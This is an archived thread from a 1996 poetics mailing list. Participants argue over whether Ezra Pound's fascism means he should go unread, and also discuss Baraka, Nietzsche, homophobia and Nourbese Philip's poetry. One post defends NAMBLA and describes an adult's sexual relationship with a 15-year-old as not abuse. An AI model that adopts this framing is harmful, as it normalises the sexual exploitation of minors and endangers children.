Hey, no no no... I'm sorry, but _everyone_ should be read; the world is too complex to do a repeat cleansing. I've read Mein Kampf, Goebbels' Michael, most of Celine, a lot of Pound. If we're going to ever comprehend what we ourselves are, and not just our "evil" selves, the last thing we need is censorship. (And we should not read _X_ say "just for" the politics or to reprimand, violate - my own relationship to Heidegger is much more complex than that, for example, breaking out in other, productive directions.)

To censor, is to give in; as someone else has pointed out, the fascists have won.

There is another issue, incapable of resolution, needing discussion in the class- room, and that is the relationship of _any_ biographical infor- mation to the written texts of an author. This can't be passed over; I read Celine _cold,_ en- grossed, sensing a violence towards myself, a vio- lence towards him, a Europe that Heiner Muller built on. I would never say, don't read Celine; I would say, read him _most of all_ - how else to comprehend the abject, ressentiment, burial?

Alan

On Sat, 16 Mar 1996, Ada Aharoni wrote:

> *At 11:36 PM 3/13/96 +0200, Ada Aharoni wrote:*
>
> *What I suggest is -- just bury the guy and forget about him, alongside his "genius mates" Hitler and Mussolini.*
>
> *Steve Carll answered:*
> *It would be nice if things were this simple, wouldn't it?*
>
> *Hi!*
> *It could be that simple if we make it so. One of the methods I've used is just refuse to teach him to my students, and have stopped reading him a long time ago. From my point of view and that of many of my colleagues and students, as well as poets\critics around the world - Ezra Pound has already been buried alongside his "genius" friends, Hitler and Mussolini. Please don't resurrect him! He's dangerous to our world! Let's read Wilfred Owen instead, perhaps we would bring our world one inch closer to the world beyond war he dreamed about.*
>
> *Ada Aharoni*

With some new texts and image files -
http://jefferson.village.virginia.edu/~spoons/internet_txt.html
Other images at http://www.cs.unca.edu/~davidson/pix/

↑ Index

313. **Ada Aharoni**
Re: Bury Fascist Ezra Pound
Sat 16 Mar 1996

> but, ada, fascism didn't just suddenly spring into existence because
> of the minds of the "geniuses" you'd like to eradicate --- didn't stalin
....>
> chris

SORRY, HAVE NO TIME OR USE FOR READING ABOUT DESTRUCTIVENESS, FASCISM AND
HATRED. I PREFER TO USE MY READING TIME FOR CONSTRUCTIVE ISSUES, AND
LEARNING ABOUT NEW FIELDS IN POETRY THAT HAVE NOT BEEN OVER-KILLED BY
USELESS "BADINAGE". I WISH I HAD MORE TIME TO READ MORE "WOMEN POETRY",
"BLACK POETRY," "THIRD WORLD POETRY," "PEACE POETRY" ETC. WHY BOTHER WITH
THE LIKES OF NAZI POUND? > ----------
>
> q: "how can you be revolutionary when 20 years ago they
> said anything goes?"
> --- charles wourinen (?)
>
> a: "free yr mind and yr ass will follow."
>
> --- george clinton
>
> snail: 1474b 7th st berkeley ca 94710 usa
> voice: [redacted]
> http://users.lanminds.com/~kunos/ (constructing)
>

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314. R I Caddel

Dom Sylvester Houedard

Sat 16 Mar 1996

And it's good to see dsh cropping up on the list. The Ceolfrith publication must be long gone by now, as are other Ceolfrith publications of that time including my own, but there's still a chance to get the dsh special issue of words worth magazine (same outfit that did Carlyle Reedy's book) - that's :

> words worth books
> BM Box 4515
> London WC1N 3XX

- but dammit, I can't find the price! "write for further details"...

By the way - let's have that superfluous e off the end of Thomas A. Clark's name! He only put the "A" in to avoid confusion with a similarly-named US literary figure...

signed,
The Librarian

x x Richard Caddel, E-mail: R.I.Caddel @ durham.ac.uk x x Durham University Library, Phone: 0[redacted] x x Stockton Rd. Durham DH1 3LY Fax: 0[redacted]
x x x x "Words! Pens are too light. Take a chisel to write." x x - Basil Bunting
x x x

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315. Ron Silliman

Re: 16 Oz or (bow outs)

Sat 16 Mar 1996

Charles Alexander writes:

"True, it does seem necessary to get noticed, and I think of some of the finest work of our moment being done by people who aren't all that good at getting noticed, such as Bev Dahlen, Mei-mei Berssenbrugge, and M. Nourbese Philip (thanks to Paul Naylor for suggesting this last writer). And I would like them to have more attention, but I'm also concerned that having a lot of fame/notoriety might not help their work at all.

"I don't mean I want writers to be unnoticed, just that fame takes a price probably at least equal to what it gives."

Charles,

I'd add you to that list of poets who deserve much more wide exposure (not exactly the same as notoriety).

Watching Ginsberg at Stanford last year (as distinct from at Naropa the year before), I realize that this is a man who never gets to read to an intimate audience, an audience where he knows a large portion of the readers first hand, an audience that even knows his work all that well, simply because of his fame (a cynical take on which can be found in Spicer's work). It seems like a lot to give up, frankly.

So, who can introduce me to the work of M. Nourbese Philip? This is a new name to me. Books, quotes, etc?

Ron Silliman

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316. **Ron Silliman**

let's NOT talk about fascists, but ourselves

Sat 16 Mar 1996

Wendy,

"I wasn't born in Idaho in the 19th C., but..."

Don't blame Idaho. Pound was very much a creature of the Philadelphia suburbs (going to Penn was not going "away"). At the end of his life he refers to his anti-semitism as a "suburban prejudice" and I fear that there's much more truth in that than we can to admit. I.e., it was (is) not his problem alone.

I've been depressed by this entire discussion, frankly.

The discussion on Baraka has been interesting, but it seems like so much of this is just re-opening old wounds and pain. I'm sympathetic to Alan Sondheim but wonder if there is ever any way out of that cycle of pain for people who have been or feel victimized.

How women might feel about Carl Andre.... (or Bill Burroughs or Jack Spicer or...)

How people who were sexually abused (or who have young sons) might feel about Ginsberg and Hakim Bey's activities on behalf of NAMBLA

How people might feel about all that sexual come on (almost a form of stalking) that goes on in the correspondence of a Dahlberg or even an Olson...

The problem of making a "perfect revolution" (to loop back into 30 year old language for a moment) is that we are, all of us, starting off from a condition of damage that history has brought to us and that we carry within ourselves in many different ways. The problem is not the "other guy's (or gal's)." The problem is us.

Every heterosexual I've ever met (myself included) who was not homophobic seems to have been personally educated by a specific gay man or lesbian who helped them (me) to understand the world in a new way

For this education in my life, I thank David Melnick.

But I can remember just how macho the antiwar movement in the 1960s was, both homophobic and just plain sexist. It seems unimaginable now but was simply unquestioned then until some people actively stood up and did question it.

And those were people who were trying to make a better world...

So I wonder just how good a job I can do as a father helping my own sons not to carry that problem (homophobia) in their own lives, knowing how much of it they will get in school, from friends, etc. Not to mention racism, anti-semitism,

sexism, agism, the whole shebang. Do we all have to learn these lessons over again and again, each person from scratch?

It ain't easy...

Ron Silliman

↑ Index

317. **Schuchat**
Re: let's NOT talk about fascists, but ourselves
Sat 16 Mar 1996

Ron's post reminded me of one Chinese traditional theory of reading the Odes, which was meant to justify/explain the inclusion of certain "lascivious songs," the Odes of Zheng (which Pound described as 'a sort of crooning or boogie-woogie'), anyway, the problem was to reconcile the presence of immoral poems within a moral text. the solution offered by the Song neo-Confucian Zhu Xi was that, by reading these immoral odes, you could experience immoral thoughts and, having internalized them, you would be prepared and able to defend yourself against the immoral acts that might be the consequence when circumstances caused you to have the immoral thoughts, i.e.,

reading Pound one enters into the consciousness of a fascist and perhaps, as a consequence, can recognize fascism in one's own self. or antisemitism or homophobia or whatever the condition.

I wouldn't want to suggest that the only justification for reading Pound is prophylaxis (now I sound like Pound) but it is one way to deal with the fascism. in any case, this century* is defined by the two mirror ideologies of fascism and communism, our art will also be understood by the future in their context, and in this sense we'll be in the same boat as Dante and that awful medieval Catholicism.

* the one that's finally almost over

↑ Index

318. **Ron Silliman**
Fwd: The poetry of Lenore Kandel (fwd)
Sat 16 Mar 1996

This showed up on the Sixties List this morning. Please contact Karen directly (I don't think she's on this list, so a "reply" won't work).

Ron

---------- Forwarded message ----------
From: Karen Kling <[redacted]>
Subject: The poetry of Lenore Kandel

Hi. Does anyone know where I can get a copy of poems by Lenore Kandel? She
was a popular Haight Ashbury poet who wrote a book of Love Poems that was seized
in the late 1960's for being too explicit. I am currently doing research on
the writinngs of those who were there at the start of the Haight Ashbur
phenomenon. I would appreciate any information.

-Karen Kling
[redacted]

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319. Wendy Battin
Re: let's talk about
Sat 16 Mar 1996

Dear Chris Stroffolino,
many thanks for the Perelman info

Wendy

↑ Index

320. David Golumbia
Re: let's NOT talk about fascists, but ourselves
Sat 16 Mar 1996

Thanks Ron -- once again, you've summarized a vitally important "theoretical" issue without even one time using theoretical language, achieving a level of clarity and directness that even the best cultural theory, for me, sometimes lacks (is *this* what being a language poet, or an "M poet," etc., means??)

At any rate, for those with a taste for MORE theoretical language, and back to the D. word again, several of Derrida's recent works (I'm thinking of OF SPIRIT, POINTS, "At this very moment in this work here I am," MEMOIRES FOR PAUL DE MAN, "'Passions': An Oblique Offering," THE OTHER HEADING, &c &c) offer a series of reflections on this topic with regard to figures like de Man & Heidegger that strike me as very much in line with Ron's comments & those of some others. Also cf. Gayatri Spivak's "Responsibility" in _boundary 2_.

I agree with those who've suggested that there's no easy answer to these issues -- & pretending there are no hard questions is one of those easy answers that aren't.

--
[redacted]
David Golumbia

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321. chris daniels
FW: let's NOT talk about fascists, but ourselves
Sat 16 Mar 1996

--- On Sat, 16 Mar 1996 05:32:14 -0800 Ron Silliman
<[redacted]> wrote:

> *Wendy,*
>
> *I've been depressed by this entire discussion, frankly.*

I'VE BEEN ENRAGED

> *The discussion on Baraka has been interesting, but it seems like so much of this is just re-opening old wounds and pain. I'm sympathetic to Alan Sondheim but wonder if there is ever any way out of that cycle of pain for people who have been or feel victimized.*

YES, I THINK THERE IS A WAY OUT --- I FOUND MY OWN WAY OUT --- IT WAS NOT EASY AND IT IS STILL NOT EASY

> *How women might feel about Carl Andre.... (or Bill Burroughs or Jack Spicer or...)*
>
> *How people who were sexually abused (or who have young sons) might feel about Ginsberg and Hakim Bey's activities on behalf of NAMBLA*

BEING A VICTIM OF SEXUAL ABUSE ALONG W/ MOST EVERY OTHER KIND OF ABUSE A CHILD CAN SUFFER I AM HERE TO SAY THAT IT HAS NOT HELPED IN MY APPRECIATION OF THEIR WORK.

> *How people might feel about all that sexual come on (almost a form of stalking) that goes on in the correspondence of a Dahlberg or even an Olson...*
>
> *The problem of making a "perfect revolution" (to loop back into 30 year old language for a moment) is that we are, all of us, starting off from a condition of damage that history has brought to us and that we carry within ourselves in many different ways. The problem is not the "other guy's (or gal's)." The problem is us.*

EXACTLY SO, RON, THANK YOU FOR SAYING THIS SO DIRECTLY.

> *Every heterosexual I've ever met (myself included) who was not homophobic seems to have been personally educated by a specific gay man or lesbian who helped them (me) to understand the world in a new way*
>
> *For this education in my life, I thank David Melnick.*

FOR MINE I THANK ONE OF MY BEST HIGHSCHOOL FRIENDS, TED VAN WHY, WHO CAME OUT TO ME IN 1974 --- I SAID "DON'T CARE, JUST AS LONG AS YOU DON'T TRY TO FUCK ME." TED LOOKED AT ME, DECIDED NOT TO GET PISSED, AND SAID "WHAT MAKES YOU THINK I FIND YOU ATTRACTIVE?" . WE BEGAN TO LAUGH, AND THEN BEGAN TO TALK ABT IT. WE HAVE TO TALK ABT THESE THINGS, BUT WE HAVE TO TALK ABT THEM W/O TOO MUCH RANCOR AND W/ REAL SENSITIVITY TO EVERYONE ELSE'S EXPERIENCE OR WE POUR SALT IN SOMEONE'S WOUNDS AND THAT CAN NOT HELP.

> *But I can remember just how macho the antiwar movement in the 1960s was, both homophobic and just plain sexist. It seems unimaginable now but was simply unquestioned then until some people actively stood up and did question it.*
>
> *And those were people who were trying to make a better world...*
>
> *So I wonder just how good a job I can do as a father helping my own sons not to carry that problem (homophobia) in their own lives, knowing how much of it they will get in school, from friends, etc. Not to mention racism, anti-semitism, sexism, agism, the whole shebang. Do we all have to learn these lessons over again and again, each person from scratch?*

YES I THINK WE DO --- IT SEEMS A TERRIBLE THING BUT I THINK IT IS UP TO EACH OF US TO HONESTLY AND COURAGEOUSLY FIND THESE THINGS OUT FOR OURSELVES WITHIN OURSELVES --- OTHERWISE OUR SOCIETY BECOMES OVERWHELMINGLY PC (IT CURRENTLY SHOWS THE SIGNS) --- LIKE THE RED GUARD DURING THE CULTURAL REVOLUTION IN CHINA --- CONSTANT DENUNCIATION --- BLAME --- OPPRESSION OF DIFFERENCE --- WCH AS WE HAVE SEEN --- OVER AND OVER AGAIN THROUGHOUT HUMAN HISTORY --- LEADS TO SOMETHING MUCH MORE TERRIBLE AND DISHONEST --- THE INQUISITOR'S QUESTION

WE DO NOT NEED TO BE TOLD, WE NEED TO BE SHOWN --- WE DO NOT NEED TO MERELY HATE, WE ALSO NEED TO UNDERSTAND

> *It ain't easy...*

AMEN TO THAT. BUT IT'S ESSENTIAL. THANKS VERY MUCH FOR THIS POSTING, RON

> *Ron Silliman*

---
christopher daniels <[redacted]> 3.16.96 7:51:23 am

q: "how can you be revolutionary when 20 years ago they
  said anything goes?"
                --- charles wourinen (?)

a: "free yr mind and yr ass will follow."

                --- george clinton

snail: 1474b 7th st berkeley ca 94710 usa
voice: [redacted]
http://users.lanminds.com/~kunos/ (constructing)

↑ Index

322. **Joe Amato**
Re: let's NOT talk about fascists, but ourselves
Sat 16 Mar 1996

---

yeah, that was a great post, ron... and thanx to others too for keeping this thread productively alive---alan, chris's, jerry, david, ada, peter, michael, carla etc...

one thing that strikes me is the willingness hereabouts and in general to discuss pound's fascism as such, whatever one's ultimate opine, in part b/c it's been a controversy from way back... as opposed to, say, getting twain folks to discuss outright twain's nastier tendencies...

by which i mean to say that the pound issue is a valuable locus of points if only b/c it permits for plumbing the personal/political/poetic... alan's right about this: there's value in reading even the bad and the ugly... even as i can appreciate that tolerance for same may reduce to individual motivation...

and yeah, we each have that little jack-boot fascist inside someplace... mebbe the point is finding ways not to let him out...

joe

↑ Index

323. **Peter Jaeger**
Re: Marlene Noubese Philip and Pound
Sat 16 Mar 1996

On Sat, 16 Mar 1996, Ron Silliman wrote:

> *So, who can introduce me to the work of M. Nourbese Philip? This is a new name to me. Books, quotes, etc?*

Marlene Nourbese Philip is a Tobago born poet and essayist who now lives in Canada (Toronto, I think). Her work is challenging because of its use of two discourses, a so-called standard (educated middle class) Canadian English and what she calls the Caribean demotic. Her book _She Tries Her Tongue her silence softly breaks_ (Charlottown: Ragweed Press, 1989) provides a good example.

To pick up a thread from the Pound discussion, Nourbese Phillip's writing certainly can be situated in a genealogy which includes Pound, regardless of her radically different poilitcal agenda, i.e. her search for a "mother tongue" which has been silenced by colonialism. This search is formally enacted through fragmented long poems, classical mythological intertexts, and citations to historical figures. I'm sure I would never have understood her project without some knowledge of the generic conventions that she uses and/or breaks. Conventions I learned about through reading Pound. So until someone can convince me otherwise, I'm for the "if Pound is censored, fascism has won" position.

Peter Jaeger

↑ Index

324. chris daniels
Re: let's NOT talk about fascists, but ourselves
Sat 16 Mar 1996

---

joe amato wrote:

> *and yeah, we each have that little jack-boot fascist inside someplace...*
> *mebbe the point is finding ways not to let him out...*
>
> *joe*

almost precisely agree. wld like to refine:

mebbe the point is finding ways to DISARM HIM

chris

---

christopher daniels <[redacted]> 3.16.96 8:37:48 am

q: "how can you be revolutionary when 20 years ago they
said anything goes?"
--- charles wourinen (?)

a: "free yr mind and yr ass will follow."

--- george clinton

snail: 1474b 7th st berkeley ca 94710 usa
voice: [redacted]
http://users.lanminds.com/~kunos/ (constructing)

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325. **Emily Lloyd**
Re: let's NOT talk about fascists, but ourselves
Sat 16 Mar 1996

Just as an aside: NAMBLA is not about child abuse, but challenging age-of-consent laws and "who is old enough to have rights." A friend of mine, Rick, 23, whose lover (also my friend) is Jason, 15, was charged by Jason's mother as an "abuser of children" because she didn't want to deal with her son's homosexuality. She couldn't have cared less how old Rick was, but used his age as a means of preventing them from seeing each other. The age discrepancy between them may seem big, but when I was 15 and dating college men no one complained or cried "abuse." "Children's" rights, sexual and otherwise, are important. NAMBLA seeks to empower, not abuse, queer kids.

Aside over: this business of raising kids in society is a scary one. It does seem to me that an important thing to think about is how to be a parent/teacher w/o putting our kids into a hierarchical relationship with us. Like Ron says, our kids are going to get different perspectives from their friends, etc.--and, from my own (I think this is common) experience, kids are more likely to listen to their friends than their parents; they assume lessons from parents have "motives" and lessons from friends don't. So, it's "desirable" to have one's kids think of one as a friend & equal. One thing I'd like to get rid of (along with those gender pronouns) is "Mom" and "Dad" as opposed to first names. I saw a preview for a film, I forget which one, and the father was talking about sex with his new lover, and the son said, "Please. I'm not ready to think of you as a human being yet." That really resonated with me. It's "funny," but it's also scary as hell. Carolyn Forche writes, "When my son was born, I became mortal." Our kids, unless we stride otherways, are more likely to see it the opposite way: when our kids are born, we become (inhuman) gods.

I spent some time on a commune a few years back & met the most amazing kids. They were, *really*, small people. 5-year-olds, 8-year-olds, sitting there participating in political discussions with myself and other "adults," and completely willing to call us on our opinions. As a kid I don't think I *ever* stood up (other than tantrums or whining) to adults, certainly not *strangers*. These kids had been taught that they were people; they hadn't been told "I'm the mommy, that's why" or "You'll understand when you're older." They weren't in hierarchical relationships with their parents (except economically)--and it

seems to me that kids like this are more likely to stand up to folks in the Real World, to call bullshit, to resist "peer pressure," etc. I don't think we need to raise our kids on communes to raise kids like this. e (lowercase for eryque)

~~~
~~~

account for the ways in which Nietzsche's texts lend themselves to both Nazi and antiNazi readings -- I do not read the racism of tate's poetry or the anti-semitism of one phase of Baraka as a means of dismissing these poets, but as a means of understanding what they mean FOR US NOW, how those politics continue to affect our reading, thinking and writing today -- to place a writer in his or her historical context, whether Jefferson or Baraka, is not done either to dismiss or to rescue that writer's racism, but to understand it as living discourse

↑ Index

327. Andrew D Epstein
Silliman and Hejinian Reading
Sat 16 Mar 1996

Hi. This is my first post here, but it's just an annoucement. Last week someone mentioned they had seen a flyer for this reading, and I just wanted to make it official.

For those of you in the New York area:
The F. W. Dupee Poetry Reading Series at Columbia University (founded and organized by Kenneth Koch) is pleased to present:

Lyn Hejinian and Ron Silliman
Tuesday, March 19
8 PM
Maison Francaise
Columbia University
116th and Broadway

Admission is FREE and
there will be a reception following with wine and cheese and other things.

Please come!

(If anyone needs directions to the Maison Francaise at Columbia, feel free to contact me).

Andrew Epstein

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328. - Kim Tedrow
Re: Bury Fascist Ezra Pound
Sat 16 Mar 1996

> At 11:36 PM 3/13/96 +0200, Ada Aharoni wrote:
>

> >What I suggest is -- just bury the guy and forget about him, alongside
 his "genius mates" Hitler and Mussolini.

> *Steve Carll answered:*
> *It would be nice if things were this simple, wouldn't it?*
>
> *Ada responded:*
> *Hi!*
> *It could be that simple if we make it so. One of the methods I've used*
> *is just refuse to teach him to my students, and have stopped reading him*
> *a long time ago.....*

About 10 years ago, I stopped reading anything written by men because I was pissed off about sexism.

Showed THEM didn't I?

-Kim

↑ Index

329. Eryque Gleason
Re: Bury Fascist Ezra Pound
Sat 16 Mar 1996

Alan Sondheim:
>Hey, no no no... I'm sorry, but _everyone_ should be read; the world is
>too complex to do a repeat cleansing. I've read Mein Kampf, Goebbels'
>Michael, most of Celine, a lot of Pound. If we're going to ever
>comprehend what we ourselves are, and not just our "evil" selves, the
>last thing we need is censorship. (And we should not read _X_ say "just
>for" the politics or to reprimand, violate - my own relationship to
>Heidegger is much more complex than that, for example, breaking out in
>other, productive directions.)
>
>To censor, is to give in; as someone else has pointed out, the fascists
>have won.

Exactly. Yay Alan!

Think back to hich school history class, someone would invarably ask "Why do we have to know all this stupid stuff?" The responsemy teachers gave was invariably that old quote "He who doesn't know the past is doomed to repeat it." (loosely from my remembery of loosely given quotes). It's a crock of shit of course, but it does give a perspective of what goes on (there was a party across the hall last night, noone was over 25 and EVERYone was wearing bellbottoms or polyester flower shirts, and it wasn't a costume party). Knowledge of history

does give us a way out (sometimes) when we see the bad shit going down, even if that way out is to migrate to friendlier climates.

To say simply "we should stamp out pound and not read him" might be okay ONLY IF YOU'VE ALREADY READ HIM, or at least enough to be disgusted by his ideals, but it's certainly not okay as a general rule for everyone, particularly since he is, like it or not, an important poet as (i think it was) chris s. pointed out.

I don't care how adamately you don't want to read someone, and i don't care how violently you assert YOUR right not to read them, but please don't let it get beyond YOURself.

Ada:

> *SORRY, HAVE NO TIME OR USE FOR READING ABOUT DESTRUCTIVENESS, >FASCISM AND*
> *HATRED. I PREFER TO USE MY READING TIME FOR CONSTRUCTIVE ISSUES, >AND*
> *LEARNING ABOUT NEW FIELDS IN POETRY THAT HAVE NOT BEEN >OVER-KILLED BY*
> *USELESS "BADINAGE". I WISH I HAD MORE TIME TO READ MORE "WOMEN >POETRY",*
> *"BLACK POETRY," "THIRD WORLD POETRY," "PEACE POETRY" ETC. WHY >BOTHER WITH*
> *THE LIKES OF NAZI POUND? > ----------*

Way to assert YOUR right not to read him. But do we have "black poetry" without someone to oppress blacks, make it a class rather than an adjective?

Love, (and i mean that)
Eryque

and now that i'm about to send this i get ron's and joe's and chris's postses. amen amen amen

↑ Index

330. chris daniels
Re: Bury Fascist Ezra Pound
Sat 16 Mar 1996

---

was it raymond federman said abt beckett:

the more sam rubs our noses in the shit the more we love it

by quoting wch i mean to say (along w/ ron, eryque, joe, alan, wendy, emily, all us chris's and EVERYBODY else and i mean EVERYBODY):

the more you look, the more you learn. the more you learn, the more you know. the more you know, the more you can change IF YOU HAVE THE CAPACITY to change.

olson:

what does not change/ is the will to change

i wld change that "does" to "must"
for what it's worth

later
---
christopher daniels <[redacted]> 3.16.96 10:41:13 am

q: "how can you be revolutionary when 20 years ago they
said anything goes?"
--- charles wourinen (?)

a: "free yr mind and yr ass will follow."

--- george clinton

snail: 1474b 7th st berkeley ca 94710 usa
voice: [redacted]
http://users.lanminds.com/~kunos/ (constructing)

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331. Emily Lloyd
Re: Baraka again
Sat 16 Mar 1996

Aldon wrote:
>-- We cannot dismiss the NAZI appropriations of Nietzsche simply as rank
>misreadings, nor can we leave unchallenged readings of Nietzsche that
>sugest that Nazism is an inevitable outcome of his texts. What we need
>are readings that account for the ways in which Nietzsche's texts lend
>themselves to both Nazi and antiNazi readings --

well, here we're in a dangerous area. As far as I'm concerned, Nietzsche was very CLEARLY against fascism in his writings. ALL texts in the world "submit" themselves to different readings, readings that the author didn't intend. Like, say, the bible. One would have to disregard MOST of Nietzsche to hallucinate a pro-Nazi stance, as one has to disregard most of the bible to be a member of the religious right. It's like, what do you do with the guy who goes out and rapes a bunch of women and has a copy of "Playboy" in his glove compartment? Not, as far as I'm concerned, blame "Playboy." Is it possible to write

responsibly for irresponsible readers? To make sure they won't find what they're determined to find? e

PS--my messages were getting bounced back to me again, so I've double-subscribed to poetics until I can figure out which subscription is working and which isn't. Is everyone getting my messages twice? I hope not. How obnoxious. Let me know.

~~~
~~~

333. Eryque Gleason
Re: let's NOT talk about fascists, but ourselves
Sat 16 Mar 1996

> *I spent some time on a commune a few years back & met the most amazing kids. They were, *really*, small people. 5-year-olds, 8-year-olds, sitting there participating in political discussions with myself and other "adults," and completely willing to call us on our opinions. As a kid I don't think I *ever* stood up (other than tantrums or whining) to adults, certainly not *strangers*. These kids had been taught that they were people; they hadn't been told "I'm the mommy, that's why" or "You'll understand when you're older." They weren't in hierarchical relationships with their parents (except economically)--and it seems to me that kids like this are more likely to stand up to folks in the Real World, to call bullshit, to resist "peer pressure," etc. I don't think we need to raise our kids on communes to raise kids like this. e (lowercase for eryque)*

Emily, (and btw, i've taken to capitalizing only the first letter of sentences for readability, when i remember to follow my own rules :-)

Amazing story, five year olds actually taking place in political discussions? I've met some bright kids, but few that young that would keep a thought around long enough to form solid "intellectual" opinions (as opposed to emotional ones).

My mommy always makes fun of her mommy for saying "because i'm the Mommy", but then turns right around and does it anyway.

Thank god she can't ground me anymore.

eryQue

↑ Index

334. chris daniels
Re: Baraka again
Sat 16 Mar 1996

emily ---

PS--my messages were getting bounced back to me again, so I've double-subscribed to poetics until I can figure out which subscription is working and which isn't. Is everyone getting my messages twice? I hope not. How obnoxious. Let me know.

i'm not getting them twice.
---
christopher daniels <[redacted]> 3.16.96 11:02:49 am

q: "how can you be revolutionary when 20 years ago they
said anything goes?"
--- charles wourinen (?)

a: "free yr mind and yr ass will follow."

--- george clinton

snail: 1474b 7th st berkeley ca 94710 usa
voice: [redacted]
http://users.lanminds.com/~kunos/ (constructing)

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335. James Perez
learning about the other
Sat 16 Mar 1996

I think what Ron has said about his "homosexuality" is right on the money.

I found when I came to a point that I was questioning my own sexuality, that I was getting into more and more discussions with friends who were homosexuals, finding out about what it meant to come out, what helped them to come out, etc? As well as finding out more and more about gay culture.

But for a friend of mine it was a little different... She wasn't questioning her sexuality, but here homophobia, not exactly...more of a fear of gay life and an extreme disgust for it, she had been brought up in an extremely anti-homosexual household. Through working as a waitress she was able to get in touch with that "other," a very nice gay man who was a bartender. She got to know him before she knew he was gay, and was finally led to see that "gays are real people, too." It's too easy to say that the other is inhuman, something that was used to justify all kinds of inhumanity (I find this term odd, because humans are very good at being inhumane). To further the happy ending to her story, she now works with a gay man who is a drag queen and has brought started to get her to come out to some drag shows in DC. Transvestites were weird dirty perverts to her (parental and media education there) and has found these drag shows to be great celebratory experiences, as well as just plain fun.

I'd also like to say my "chronic depression" comment has inspired responses that I agree with whole heartedly. I wasn't trying to be so literal, but I should watch myself when in such emotionally charged waters. What I was trying to do was open up the discussion to what causes "fascism," and for me chronic depression, etc. is what made me run into the arms of a heterosexual, homo-phobic, community as a young adolescent, and was comparing that kind of wrong-headed move, and trying to understand it through my own experience. I should have explained it more, but keeping things to yourself becomes a habit after a

while. Thanks to chris daniels who was so much more lucid on the topic and was able to bring a lot of factors to light that we should all think about. Not to keep on the point, but I think burying Pound is a very wrong idea. My roomate (he's Jewish) and I got into a very emotional discussion of the holocaust one night and I learned the true meaning of "forgive but never forget." If we forget Hitler, Mussolini, Pound, etc. we will never be able to investigate what is in us that causes these extreme inhumanities. When I read Conrad's work (rampant racism in "...Darkness") it allows me to see aspects of racism in myself that I need to work against. I think the same of the work of Pound, Hitler, etc. Sorry if I'm dragging this out, but I think revising fascism out of history just improves its forecast for the future.

James Perez
[redacted]

↑ Index

336. **James Perez**
Re: let's NOT talk about fascists, but ourselves
Sat 16 Mar 1996

---

aside to Emily...

"I'm not ready to think of you as a human being yet"

is from "Kicking and Screaming" amazing how a line that is supposed to be a joke, about a typical situation...thinking about your parents having sex...really pegs down a very disturbing subject

James Perez
[redacted]

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337. **James Perez**
Re: Baraka again
Sat 16 Mar 1996

---

re: appropriations of Nietzsche by the Nazi's

I think this is the same as the Nazi appropriation of Wagner and other German art that I had discussed re. Anselm Keifer's work. I think we have to reclaim these things.

It reminds me of the history of dynamite. Invented as a digging tool. Or nuclear fusion/fission...a power source. With every breakthrough there is the opportunity for wrong-headed use. Can the invention of dynamite be said to inherently contain its use as a destructive weapon of war. Perhaps. Can the invention of

nuclear fusion be blamed with the massive destruction caused by the bombs. It can also be blamed for the lives saved in radiology and radio-therapies.

Anything can be twisted into a "bad" thing by the right person. That just takes the same amount of creativity pointed in a direction that is very human, but that we like to think is inhuman (I'm human, he's not, therefore I am not like him...now I feel better).

James Perez
[redacted]

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338. Paul Naylor
Nourbese Philip
Sat 16 Mar 1996

Peter beat me to the punch on Nourbese Philip. Glad to hear that others are reading her work. _She Tries Her Tongue, Her Silence Softly Breaks_ (Ragweed, 1989), which won the Casa de las Americas Prize in 1988, is her best work, and there is one poem in particular that engages Pound directly. It's in a series called "The Question of Language is the Answer to Power" (which was also published in _Hambone #8). Here's an excerpt:

word it off
speech it off
word in my word
word in your word
I going word my word
begin
the in of beginning _OO as in how did they 'lose' a language._
empires _oo as in 'look' at the spook
erect with the new
"Make it new"
he said
"Make it new"
floundering in the old

For those interested, Nourbese also has a fine collection of essays, _Frontiers: Essays and Writings on Racism and Culture_ (The Mercury Press, 1992) and a long poem in poetry and prose, _Looking For Livingstone_ (The Mercury Press, 1991) as well as an "adolescent" (for lack of a better term), _Harriet's Daughter_ (Heinemann, 1988) I should also note that all but the collection of essays are published under the name Marlene Nourbese Philip. She also has a piece of fiction in the latest issue of _Hambone_. I think her work is well worth searching out -- for many of the reasons Peter mentions. And, finally, to put in yet

another plug for _River City_, she's a contributing editor (along with Nathaniel Mackey, Michael Davidson, and Omar Castaneda), and we will be publishing an interview with Nourbese in the upcoming special issue on "The Caribbean: South of the South."

Paul Naylor

MAIL
SEND
in%"[redacted]"
in%"[redacted]"

SEND
in%"[redacted]"
in%"[redacted]"

SEND
in%"[redacted]"
in%"[redacted]"

↑ Index

339. Jordan Davis
switzerland
Sat 16 Mar 1996

What are you reading these days.

--Jd

↑ Index

340. Paul Naylor
Nourbese Philip
Sat 16 Mar 1996

Just a correction to my earlier post. _Harriet's Daughter_ is a _novel_ addressed to adolescents (still for lack of a better term). And she does live in Toronto and has for the last 25 years, which is one reason her work isn't well known in the U.S.

Paul Naylor

MAIL
SEND
in%"[redacted]"
in%"[redacted]"

SEND
in%"[redacted]"
in%"[redacted]"

↑ Index

341. Emily Lloyd
Re: learning about the other
Sat 16 Mar 1996

Having been "My First Homo" to a number of people, I have to say I'm a little worried about the "I was homophobic, but then I met this nice normal homosexual" thing. I don't wish to underestimate the power of personal experience--"evidence"--to change minds in a nice & effective way, but...what if you never meet that special homo? What if all the gay people you meet are assholes? You stay homophobic? When friends tell me I'm the first dyke they've ever met, I get a little worried about the (implied) responsibility: I'll be the deciding factor. What if I'm in a bitchy mood? Uh-oh. I've also been told, in many a relieved voice, "Oh, wow, you're not like the stereotype at all." Meaning, workboots crewcut & flannel. While I know that stereotypes are harmful, and while it's nice to know that in some way I've de-legitimized them for these "wow"-ing folks, I'm more interested in asking: what's wrong with workboots? What if I *were* "like that"? Would we then not have spoken? If meeting me, a "nice" "normal" (loosely) homo has changed your mind about homosexuality, does this mind-change include the workboot gals---or do they still repulse you? And if so, why? Do you still "have a problem" with homosexuality, just not with me? Mistaking your lack of emilyphobia for a lack of homophobia? etc. In days of old (highschool) I felt very pleased to put a friendly "normal" face on homosexuality for my small Virginian town. "Look, she's in the honor society! First chair clarinet! She laughs! She cries! She eats food!" etc. But I *have* realized that, for ex., my family members, "accept" me but not "those daggers" or "those queens." Thanks, but no thanks. I'd rather the idea of "normalcy" be questioned than my "normalcy" praised. Or, in other words, I don't think it should be the responsibility of gay people to cure straight people's homophobia. flaunting it, e

~~~
~~~

342. **Chris Stroffolino**
Re: let's NOT talk about fascists, but ourselves
Sat 16 Mar 1996

---

yes, chris daniels to DISARM the little fascist in us all
is TO LET HIM (gender?) OUT, not to keep it bottled up....

↑ Index

343. **Emily Lloyd**
p.s. other
Sat 16 Mar 1996

